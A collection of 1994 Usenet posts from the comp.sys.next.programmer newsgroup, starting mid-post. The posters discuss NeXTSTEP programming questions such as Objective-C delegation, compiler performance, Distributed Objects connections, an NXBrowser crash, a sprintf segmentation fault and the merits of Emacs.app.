Their narrowness >of vision is well known, so it wouldn't suprise me if Objective-C >missed that authors attention. _Actually_, considering that it is Byte, I'm surprised that someone seems to have made the distinction. Objective-C style delegation _could_ be simulated in C++. Not very well, I will admit. It would probably be about as hacky as all of the C++ Windows event-handling systems out there. Later, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <Just 'a driving my u-haul down the information superhighway>
From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong) Newsgroups: comp.sys.next.programmer Subject: Help on Compiling C++/ObjC code Date: 26 Apr 1994 19:57:31 GMT Organization: The Ohio State University Distribution: usa Message-ID: <2pjrnb$225@charm.magnus.acs.ohio-state.edu> Hi all, I have just rewritten my C++ codes, but the compile can't seem to find the functions like "cin", "cout".....I'm using NS3.2 and I thought C++ support is build-in, am I missing something? Any clue would be appreciated. Thanks, Andy -- //|| // @ E-mail: wkwong@magnus.acs.ohio-state.edu // || // @ //==||/\\ @ "If you put your mind to it, you can accompish anything!" // || \\ @ "BUT MY NeXTMAIL IS NOT WORKING YET!!!!!!!!!!!!!"
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 26 Apr 1994 16:01:01 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2pjdrt$9fr@cerberus.wsc.com> References: <2pfbqp$in3@news.icaen.uiowa.edu> In article <2pfbqp$in3@news.icaen.uiowa.edu> dsiebert@icaen.uiowa.edu (Doug Siebert) writes: > samurai@hasc.ca (Darcy Brockbank) writes: > > >Don't count the GNU compiler out! It's pretty good. Here's a > >program of mine that was compiled with both compilers: > > >(gcc-2.5.8/gas -O4 -finline-functions) > >+ Total REAL: 20000 records processed in 25.65 seconds (779.58 r/s). > > >(cc +O3) > >+ Total REAL: 20000 records processed in 25.41 seconds (787.13 r/s). > > Try getting the latest compiler (A.09.64, I can't remember the patch number > off the top of my head, sorry) and try it with +O4 +Oall -Wl,-a,archive. I'm > willing to bet you get nearly double the performance. HP just updated their I have the latest compiler, and I've just recompiled using the options you've asked for... however, gcc is using the hp version of ld, so it gets the HP link-level optimizations also ;-). I didn't do it before because I thought it hung! You're not joking when you said it takes a long time to link... I couldn't get the full optimization from these options though, because I'm dynamically loading some code later on, and the optimizations took some symbols out of my symbol table that I needed. Anyway, I did pass -O to the linker though, and the resulting code ran slightly slower... - darcy
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: barry@il.us.swissbank.com (Barry Brooks) Subject: Automated GUI testing? Message-ID: <1994Apr26.173931.418@il.us.swissbank.com> Keywords: Automated GUI testing playback Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 26 Apr 1994 17:39:31 GMT Does anybody know of any automated GUI testing software for NextStep applications? I'm looking for typical recording and playback of keystrokes and mouse movements, or a programmatic means of generating them. Comparison of screen outputs (via pattern matching or text recognition) for synchronizing inputs would also be a plus. Thank you, Barry Brooks
Newsgroups: comp.sys.next.programmer From: gorndorf@adobe.com (Graham Orndorff) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <1994Apr27.003429.2706@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2p15cp$5dl@neptune.inf.ethz.ch> Date: Wed, 27 Apr 1994 00:34:29 GMT In article <2p15cp$5dl@neptune.inf.ethz.ch> dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) writes: > I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and > my good old NeXTstation color (non turbo). > > Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. > > NeXTstation color: 8 min 50 s > > Gecko: 5 min 02 s > > > Comments ? > > Dan > Very Cool -- You should also check out the new NEC Express-II Pentium systems. compiling Draw: My Turbo with 32 M 7:50 My NEC with 32 M 3:40 -g
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: Breaking an NXConnection. How to do that, please? Message-ID: <Cow6EA.LrK@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <CoLorD.7r0@is.com> <CouLJB.I0@friday.com> Date: Wed, 27 Apr 1994 00:25:49 GMT bbum@friday.com wrote: : # port_deallocate(task_self(), [[myConnection inPort] machPort]); : # The server will get notification of the port death. I don't know : # any other way to trigger port death notification other than : # actually trashing the port. : But what about the server? That is, how the hell does one kill the : NXConnection that was formed by +registerRoot: such that everything that is : connected to the root connection receives notification (the object that was : registered as root should continue to exist)? Killing the outgoing port : does not work (it didn't work in my mind, and it didn't work in code)... : (I tried freeing the NXConnection that was the result of the : +registerRoot:, that didn't cause the invalidation notification to happen, : either) In my case I've -runInNewThread and effectively killed the thread with cthread_exit(0) and the name that it was registered with is still consumed in the namesapce (registering with the same name fails). peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
From: d_chan@news.delphi.com (D_CHAN@DELPHI.COM) Newsgroups: comp.sys.next.programmer Subject: Re: ThumbWheel Palette Date: 27 Apr 1994 02:50:21 -0000 Organization: Delphi Internet Services Corporation Message-ID: <2pkjtd$46q@news.delphi.com> References: <2pa6na$6ah@news.delphi.com> <1994Apr24.082729.17321@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: >In article <2pa6na$6ah@news.delphi.com> d_chan@news.delphi.com >(D_CHAN@DELPHI.COM) writes: >> I'm trying to use the ThumbWheel palette I downloaded from ftp.next.com >but >> I seem to be having some trouble. After installing the palette and >putting >> it in my application the app compiles with no errors or warnings but >> when run the icon starts up then disappears. The following messages are >> generated on the console: >> >> Apr 10 10:54:02 roadrunner Count[703]: objc: class `ThumbWheel' not >linked >> into application Apr 10 10:54:02 roadrunner Count[703]: An uncaught >> exception was raised Apr 10 10:54:02 roadrunner Count[703]: Typed >streams >> library error: class error >> for 'ThumbWheel': class not loaded >Any of the NeXT supplied example palettes have the same requirement: you >must include the object code for the class into your app; using the >palette alone is not enough. Drop ThumbWheel.o into your project. >Paul >-- >Paul Lynch >P & L Systems (NeXTmail) paul@seer.demon.co.uk >Tel: (0494)671501 9 Stable Lane, Seer Green, >Fax: (0494)680228 Bucks, HP9 2YT, UK Thanks Paul. Once I included the .o files it linked and ran. Thanks again. -Derek
Newsgroups: comp.sys.next.programmer From: csaldanh@mae.carleton.ca (Chris Saldanha) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <CowCCo.A2y@cunews.carleton.ca> Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University References: <2pj6kd$ks7@rosie.next.com> <2pjnk4$344@agate.berkeley.edu> Date: Wed, 27 Apr 1994 02:31:36 GMT Izumi Ohzawa (izumi@pinoko.berkeley.edu) wrote: : >In article <1994Apr25.233625.21489@seer.demon.co.uk> Paul Lynch writes: : >> : >> If I then log in on a machine with 800x600, I have nothing to grab onto to : >> resize the display. How exactly is an app supposed to know what to do? : >> Perhaps new facilities should be provided in the AppKit to allow apps to : >> solve this problem. : > : Why can't standard release NEXTSTEP support a virtual screen size of : 1120x832 if the screen resolution is smaller than the original : NS size? When the mouse pointer lands on the couple of pixels on the edge, : it can start scrolling to reveal extended screen space beyond, if any. : This will cost some backing store RAM and increases swapping, but is far : better than not being able to use an app at all. : I've seen such a thing on Linux X a year ago. Even MicroScum Windoze can do auto-scrolling, when using an ATI Ultra Pro, with ATI's supplied drivers. It takes some getting used to, but it would be quite nice for portables running NeXTSTEP. Of course, there'd have to be enough Video-RAM to store the larger screen (as ATI does it), or the driver would have to use real RAM for it. --Chris Chris Saldanha -------------------------------------- Carleton University |"The eternal silence of these infinite| chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal| csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o----------------- #import <std_disclaim.h>
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 04:42:05 GMT Organization: San Francisco State University Message-ID: <2pkqet$4pt@nic-nac.CSU.net> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> Let's see... it doesn't honor -NXOpen, so I can't use it as a default application. It doesn't use NXDataLinkManager, so it won't work with RBrowser. It has 92dpi *hardwired*, so it does the wrong thing on many color systems. etc. etc. (I guess I shouldn't ask dumb questions like "does it support systems with ADB keyboards.") I think I'll stick with Edit.app, thank you. (With Emacs key mappings enabled, of course.) "Needs work" -=EPS=-
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Problem with NXBrowser & View -lockFocus Message-ID: <1994Apr27.050900.13013@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Wed, 27 Apr 1994 05:09:00 GMT I'm having trouble removing a cell from an NXBrowser. What I want to do is this: When a user clicks on an item in the NXBrowser, it should be removed from the NXBrowser. I have the doClick: action connected to an appropriate method. At some point, it does this: cellList = [AAUserBrowser getSelectedCells:nil]; index = [cellList count]; while (index-- > 0) [[AAUserList removeObjectAt:[[cellList objectAt:index] tag]] free]; Which steps through the NXBrowser's delegate (the AAUserList) removing each currently selected cell from the list. But later when I do this: [AAUserBrowser loadColumnZero]; The application crashes, reporting the following problem: Assertion failed: You removed a View from the View hierarchy that had been lockFocus'ed Program generated(1): Memory access exception on address 0x4 (protection failure). If you could help determine how to obtain the desired behavior I would very much appreciate it! Thanks in advance! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: droege@informatik.uni-koblenz.de (Detlev Droege) Newsgroups: comp.sys.next.programmer Subject: Re: Developer Expo talk idea? (TCL and IB) Date: 27 Apr 1994 09:09:56 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2pla54$eor@newshost.uni-koblenz.de> References: <MERLYN.94Apr25081137@linda.teleport.com> In article <MERLYN.94Apr25081137@linda.teleport.com> merlyn@ora.com (Randal L. Schwartz) writes: > > And as yet, we don't have plans to put GUI info in the Camel... it's > already pretty big. Perhaps "GUI Programming Perl", or "Programming > Geoducks" ("gooey-ducks", a local shellfish, silly pun :-). > Right guy, right group: Randal: will GUI support in perl5 be of a kind that will allow a NEXTSTEP-guiperl (OpenStep-guiperl) ? I hope it won't be wired to X-Windows only. Detlev -- Detlev Droege, Uni Koblenz, FB Informatik, Rheinau 1, D-56075 Koblenz, Germany Tel: +49 261 9119-421, Fax: -497, NeXT/Email: droege@informatik.uni-koblenz.de
From: jreiss@magnus.acs.ohio-state.edu (Joseph W Reiss) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 11:22:42 GMT Organization: The Ohio State University Message-ID: <2plhu2$5pe@charm.magnus.acs.ohio-state.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.csu.net> Eps@cs.sfsu.edu wrote... >Let's see... it doesn't honor -NXOpen, so I can't use it as a >default application. It doesn't use NXDataLinkManager, so it >won't work with RBrowser. It has 92dpi *hardwired*, so it does >the wrong thing on many color systems. etc. etc. Er, exsqueeze me? I'm using Emacs.app as my "default application" as we speak! It does honor the openning of files from the workspace. Believe me, I do it all the time. Don't know about NXDataLinkManager, but I haven't heard any complaints about people on color systems having problems with it. I'm running it quite nicely on a NS Color Station. Perhaps you're referring to white hardware, of which I can't speak personally, but... >"Needs work" Emacs.app has been very much a collective effort by individuals on the emacs-for-NS mailing list for some time now. If you feel there are features that need added, any help you can give in writing them would be quite welcomed, I'm sure. Carl and others have put a great deal of work into getting Emacs to be as NeXTSTEP compatible as it is. If this sounds a bit snotty or something, I'm sorry. I just feel that Emacs.app is a truly a great piece of work, and I feel Carl deserves a lot of credit. Constructive criticism is fine, of course, but specifics are best in any circumstance. What color machines were giving you problems, for example. And I'd like to know why you say that -NXOpen isn't supported when lots of others are running it as the default app quite happily. A proud supporter of Emacs NS, Joe -- __________ | NeXTMail? We can do NeXTMail!!! | |___) | """""""""""""""""""""""""""""""""""""""""""""""""""""""" \_/OE | \EISS | The addition of a witty remark to a .SIG is illogical. `---- | Nevertheless, it is a fascinating concept worth study.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 08:16:42 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr27091642@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> In-reply-to: bhill@physics.ucla.edu's message of 26 Apr 1994 19:20:41 GMT In article <BHILL.94Apr26122041@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: Path: steffi.demon.co.uk!demon!zaphod.axion.bt.co.uk!uknet!bnr.co.uk!corpgate!news.utdallas.edu!chpc.utexas.edu!cs.utexas.edu!swrinde!ihnp4.ucsd.edu!dog.ee.lbl.gov!overload.lbl.gov!agate!library.ucla.edu!news.mic.ucla.edu!news.mic.ucla.edu!bhill From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Date: 26 Apr 1994 19:20:41 GMT Organization: Dept. of Physics, UCLA Lines: 3 References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> NNTP-Posting-Host: spike.physics.ucla.edu Xref: steffi.demon.co.uk comp.sys.next.software:1351 comp.sys.next.programmer:1029 Perhaps you could tell us what to expect as new versions of emacs come out. In particular, when 19.23 is released, do you intend to reincorporate the changes that are necessary for Emacs.app v 4.0? Thanks. --Brian Hill You seem to think that Carl is obligated to support all future releases? Well I take what he has done as a service to the NeXT community in general. and in no way feel that he _has_ to support future Emacs releases. Carl is an avid Emacs user though so if he feels that _he_ would like to use a later release we _may_ be lucky enough to see his changes..... -- "Kill files are for pacifists" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 13:02:03 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr27140203@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> To: eps@futon.SFSU.EDU (Eric P. Scott) In-reply-to: eps@futon.SFSU.EDU's message of 27 Apr 1994 04:42:05 GMT In article <2pkqet$4pt@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: Let's see... it doesn't honor -NXOpen, so I can't use it as a default application. It doesn't use NXDataLinkManager, so it won't work with RBrowser. It has 92dpi *hardwired*, so it does the wrong thing on many color systems. etc. etc. (I guess I shouldn't ask dumb questions like "does it support systems with ADB keyboards.") I think I'll stick with Edit.app, thank you. (With Emacs key mappings enabled, of course.) "Needs work" While these comments are indeed valid you have to understand the extent by which Emacs can be NSized... All that's really possible (with the exception of services) in order to ensure that new releases are easily adaptable is to mimic the existing X functionality WRT menus/scrollbars etc.. Emacs doesn't use a NeXT text object (that's probably a good thing, in terms of maintainability) and so the support for NXLinks is probably a bit unrealistic.. Carl, Is it possible to map colors from an NXColorPanel to those that Emacs understands? Perhaps that's another thing that could be done? It would be really cool if "faces" accepted swatches :-) -- "Kill files are for pacifists" (ASCII for text only messages)
From: swift@acs3.nntp-read.bu.edu (Matthew Swift) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 94 11:06:48 Organization: Boston University Information Technology Boston, MA USA Message-ID: <SWIFT.94Apr27110648@acs3.nntp-read.bu.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <ROBERT.94Apr27091642@steffi.demon.co.uk> In-reply-to: robert@steffi.demon.co.uk's message of 27 Apr 1994 08:16:42 GMT In article <ROBERT.94Apr27091642@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: In article <BHILL.94Apr26122041@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: In particular, when 19.23 is released, do you intend to reincorporate the changes that are necessary for Emacs.app v 4.0? Thanks. --Brian Hill You seem to think that Carl is obligated to support all future releases? Well I take what he has done as a service to the NeXT community in general. and in no way feel that he _has_ to support future Emacs releases. Carl is an avid Emacs user though so if he feels that _he_ would like to use a later release we _may_ be lucky enough to see his changes..... Chill out! of course we are done a valuable service, no one mentioned 'obligations', and I contest your implication to ask this question is to be ingrateful to the author. Mr Hill has politely asked a perfectly reasonable question, the answer to which, for many of us, will effect our estimation of this new software, and our willingness to commit our time to acquiring, studying, using, and recommending it. Matt Swift
Newsgroups: comp.sys.next.programmer From: mzeller@gwdu03.gwdg.de (Meinrad Zeller) Subject: Re: delegation and inheritance Message-ID: <QX8NB8SU@gwdu03.gwdg.de> Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <1994Apr25.172027.10340@fnbc.com> Date: Wed, 27 Apr 1994 14:49:23 GMT Drew Davidson (drew@fnbc.com) wrote: : In article <2p8m8i$30a@news.bu.edu> pdell@cs17.NoSubdomain.NoDomain (Paul Dell) : writes: : > In the May issue of Byte magazine an article states "No current OOP language : > supports both delegation and inheritance." Is that true? I thought that : > objective-c on NEXTSTEP supports both. : > : > Thanks, : > Paul Dell : > pdell@bu.edu : Unencumbered as I am by the facts, I shall post. : Perhaps it said "No current OOP language supports both delegation and multiple : inheritance." : That would make more sense, since delegation (or forwarding) is a cheap way to : implement multiple inheritance if the language does not support it. It can : only be truly useful in dynamically bound systems where the type of the : delegate object need not be known at compile-time (such as ObjC). The following is based on the book by Tim Budd, An Introduction to OOP. He mentions delegation in the discussion, whether classes are necessary for OOP. He cites a paper by Lieberman, who defines delegation as follows: In delegation there are no classes; instead aprogrammer creates specific instances of objects, and behavior is associated with individual objects. Whenever an object is similiar to an existig object, the program can delegate a portion of its behavior to the original object. Any message not understood by the new object will be passed on to the delegated object. I've programmed the NeXT now for more than four years and it slipped my attention until some time ago, that NeXT has enhanced Objective C to support this kind of delegation using protocols and the forward mechanism. (Embarassing, I know. Did this happen with 3.0?) The delegation methods implemented for many objects before protocols and forward in my opinion were no real delegation in the sense of the definition above. So it might be correct to say, that Objective C doesn't support inheritance and delegation, but the NeXT Objective C extensions do! : Considering that it is Byte, though, perhaps not. Their narrowness of vision : is well known, so it wouldn't suprise me if Objective-C missed that authors : attention. May be he only wasn't aware of the NeXT Objective C extensions - so actually his vision wasn't that narrow. Still, it'd be worth it to inform this guy that there actually IS a language which supports this. Meinrad -- Meinrad Zeller Foehrenweg 1 D-37077 Goettingen Tel.: +49-551-300095 Email: mzeller@gwdg.de
From: stuckey@mrcnext.cso.uiuc.edu (Anthony J. Stuckey) Newsgroups: comp.sys.next.programmer Subject: Sprintf and segmentation faults. Date: 27 Apr 1994 16:43:44 GMT Organization: University of Illinois at Urbana Message-ID: <2pm4o0$hsq@vixen.cso.uiuc.edu> Summary: Who should I kick? NeXT, or me? Keywords: <censored> Can Anybody explain why example 1 below causes a segmentation fault, but example 2 prints perfectly? Notice that the only difference between these code samples is the format of the [s]printf string, and the supporting code to continue what should have been do-able. Is this a fault with NeXT's code or something that I should not be doing? Example 1 starts here: ----------------------------------------------------------------------- #define Proc_format \ "%5d %-8.8s %3d %4d%6dK %4dK %-5s%4d:%02d %5.2f%% %5.2f%% %.14s" char fmt[128]; /* static area where result is built */ char *format_next_process(handle, get_userid) caddr_t handle; char *(*get_userid)(); { register struct procinfo *pp; register long cputime; register double pct; int where; struct handle *hp; /* find and remember the next proc structure */ hp = (struct handle *)handle; pp = *(hp->next_proc++); hp->remaining--; /* format this entry */ sprintf(fmt, Proc_format, pp->pid, (*get_userid)(pp->uid), pp->priority, 0, pp->virtual_size, pp->resident_size, "active", pp->total_time / 60, pp->total_time % 60, 0, pp->pctcpu, pp->procname); /* return the result */ return(fmt); } ------------------------------------------------------------------------ Example 2 starts here: ------------------------------------------------------------------------ #define Proc_format \ "%5d %-8.8s %3d %4d%6dK %4dK %-5s%4d:%02d %5.2f%% %5.2f%%" char fmt[128]; /* static area where result is built */ char *format_next_process(handle, get_userid) caddr_t handle; char *(*get_userid)(); { register struct procinfo *pp; register long cputime; register double pct; int where; struct handle *hp; /* find and remember the next proc structure */ hp = (struct handle *)handle; pp = *(hp->next_proc++); hp->remaining--; /* format this entry */ sprintf(fmt, Proc_format, pp->pid, (*get_userid)(pp->uid), pp->priority, 0, pp->virtual_size, pp->resident_size, "active", pp->total_time / 60, pp->total_time % 60, 0, pp->pctcpu); sprintf(&fmt[strlen(fmt)]," %.14s",pp->procname); /* return the result */ return(fmt); } -------------------------------------------------------------------------- -- Anthony J. Stuckey stuckey@mrcnext.cso.uiuc.edu "And if you frisbee-throw a universe where does it go?" -- Steve Blunt. GCS/S -d+@ p c(++) l u+ e+(-) m+(*) s+++/-- !n h(*) f+ g+ w+ t+@ r y? KiboNumber == 1
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 17:59:02 GMT Organization: Dept. of Physics, UCLA Message-ID: <BHILL.94Apr27105902@spike.physics.ucla.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <ROBERT.94Apr27091642@steffi.demon.co.uk> <SWIFT.94Apr27110648@acs3.nntp-read.bu.edu> In-reply-to: swift@acs3.nntp-read.bu.edu's message of 27 Apr 94 11:06:48 bhill>Perhaps you could tell us what to expect as new versions of emacs bhill>come out. In particular, when 19.23 is released, do you intend bhill>to reincorporate the changes that are necessary for Emacs.app bhill>v 4.0? Thanks. --Brian Hill robert>You seem to think that Carl is obligated to support all future robert>releases? robert>Well I take what he has done as a service to the NeXT community in robert>general. and in no way feel that he _has_ to support future Emacs robert>releases. swift>Chill out! of course we are done a valuable service, no one mentioned swift>'obligations', and I contest your implication to ask this question swift>is to be ingrateful to the author. Mr Hill has politely asked a swift>perfectly reasonable question, the answer to which, for many of us, swift>will effect our estimation of this new software, and our willingness swift>to commit our time to acquiring, studying, using, and recommending it. I am sorry if the tone of my question was ambiguous. I greatly appreciate the obviously large amount of effort that went into Emacs-4.0. Unfortunately, I am stuck at an x-terminal a lot of the time, and I don't feel I can afford to decouple from the fsf's future releases. As one example, there are bugs in 19.22 that prevent me from using ediff without changes on my mono x-terminal, and I am assured that I will be able to in 19.23. I remain interested in getting an understanding of what level of effort it will take to keep merging changes into the emacs releases, and whether the contributors to Emacs-4.0 think that will be feasible. --Brian Hill
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: printing out dbtableviews Message-ID: <1994Apr27.193247.6844@pcp.ca> Keywords: dbtableview printing Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Wed, 27 Apr 94 19:32:47 GMT Hello there: I have another problem with a dbtableview here. It seems like the default printPSCode: method for DBTableView does not work as expected. The information the DBTableView is printed on top of itself and is quite unreadable. I seem to recall that there was a known bug with this but I can't remember if there's a simple workaround. Any solutions? Please e-mail me and I'll summarize. Thanks, Alex Nghiem_Alex@pcp.ca alex@oolesson.com
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <Coxnq3.GpL@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <CowCCo.A2y@cunews.carleton.ca> Distribution: usa Date: Wed, 27 Apr 1994 19:34:50 GMT In article <CowCCo.A2y@cunews.carleton.ca> csaldanh@mae.carleton.ca (Chris Saldanha) writes: >>Izumi Ohzawa (izumi@pinoko.berkeley.edu) wrote: >>: >In article <1994Apr25.233625.21489@seer.demon.co.uk> Paul Lynch writes: >>: >> >>: >> If I then log in on a machine with 800x600, I have nothing to grab onto to >>: >> resize the display. How exactly is an app supposed to know what to do? >>: >> Perhaps new facilities should be provided in the AppKit to allow apps to >>: >> solve this problem. >>: > >>: Why can't standard release NEXTSTEP support a virtual screen size of >>: 1120x832 if the screen resolution is smaller than the original >>: NS size? When the mouse pointer lands on the couple of pixels on the edge, >>: it can start scrolling to reveal extended screen space beyond, if any. >>: This will cost some backing store RAM and increases swapping, but is far >>: better than not being able to use an app at all. >> >>: I've seen such a thing on Linux X a year ago. >> >>Even MicroScum Windoze can do auto-scrolling, when using an ATI Ultra >>Pro, with ATI's supplied drivers. It takes some getting used to, but it >>would be quite nice for portables running NeXTSTEP. >>Of course, there'd have to be enough Video-RAM to store the larger screen >>(as ATI does it), or the driver would have to use real RAM for it. >> What's the big deal here ? Go buy VirtSpace.app and be done with it. -- Ronald Pomeroy Advanced Micro Devices CIM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: DO/MACH and TCP/IP, are we all friends? Message-ID: <Coxq5v.957@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services Date: Wed, 27 Apr 1994 20:30:23 GMT Ok, this is probably pretty simple and too obvious that I'm looking too hard but I'll ask anyway. MACH is cool because it abstracts out the transport layer of messing between program that may or may not be on different hosts. MACH chooses the IP ports that it communicates on in a way that escapes me at this point yet (tho I'm knee deep in netmsgserver.c now). In a hospital security can be a funny thing to manage. You have network administrators, the developers, and in our case, the medical school which is outside of the hospital network but needs research access to various snippets of data. To keep the network secure, which would be to keep people out of sensitive information that don't belong there (even if they have the clinical application) based on some high-level deduction. For us IP addresses would probably be sufficient. Thanks to MACH's port abstraction though it doesn't seem to be possible to find out WHO we're really talking to. The solution so far has been to set up router masks and block the obvious IPs for the IP ports that the nmserver seems to be fond of. This means that the network administrators have to care about the security of sensitive information as much as the developers -- which is a whole 'nother bag of potatoes. Suffice it to say that this level of security involves too many people that don't understand the problem. Given a MACH port, is there a way to look up what IP this is actually connected to so that in my NXConnection's delegate it can see if this person should have access to the connection that they asked for? Is the only way to make my own nmserver that will provide the facility to me or does it exist already? The 'free/existing' approach would be a dial-back scenario, but the coding overhead, software maintainance, and problems with the nmserver/netmsgserver (as discussed elsewhere in this group) make this just about as messy. Is it possible to get the IP or hostname given a MACH port? peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
Newsgroups: comp.sys.next.programmer From: raghu@charlie (Raghu Dev) Subject: PRECOMPILED HEADERS(appkit/Application.h)? Message-ID: <1994Apr27.210456.15198@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Wed, 27 Apr 1994 21:04:56 GMT In the NexTStep Interface Builder(v3.2) they encourage you to include appkit/Application.h in which every possible header is present. They then tell you not to worry about this becoz it is precompiled!! . How can one include precompiled headers?????? DeV
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Developer Expo talk idea? (TCL and IB) Date: 27 Apr 1994 20:59:07 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Apr27215907@steffi.demon.co.uk> References: <MERLYN.94Apr25081137@linda.teleport.com> <2pla54$eor@newshost.uni-koblenz.de> To: droege@informatik.uni-koblenz.de (Detlev Droege) In-reply-to: droege@informatik.uni-koblenz.de's message of 27 Apr 1994 09:09:56 GMT Yes Randal, please take a look at the way Carl Edman added NS support into Emacs 19.22 ... He's abstracted to ensure that it's gui independent as far as support goes. I don't think he even used OOP either :-) -- "Kill files are for pacifists" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep (Apology) Date: 27 Apr 1994 21:16:34 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr27221634@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <ROBERT.94Apr27091642@steffi.demon.co.uk> To: robert@steffi.demon.co.uk (Robert Nicholson) In-reply-to: robert@steffi.demon.co.uk's message of 27 Apr 1994 08:16:42 GMT I would like to apologize to the original author for the way I misinterpreted his question. I'll say this.. Carl has done an excellent job... Currently I need no further updates.. However, I would be surprised if he didn't make his efforts available again since he's taken great measures to ensure that this work is adaptable to change. Let's talk about something pleasant... Any demand for an NS Emacs users mailing list? -- "Kill files are for pacifists" (ASCII for text only messages)
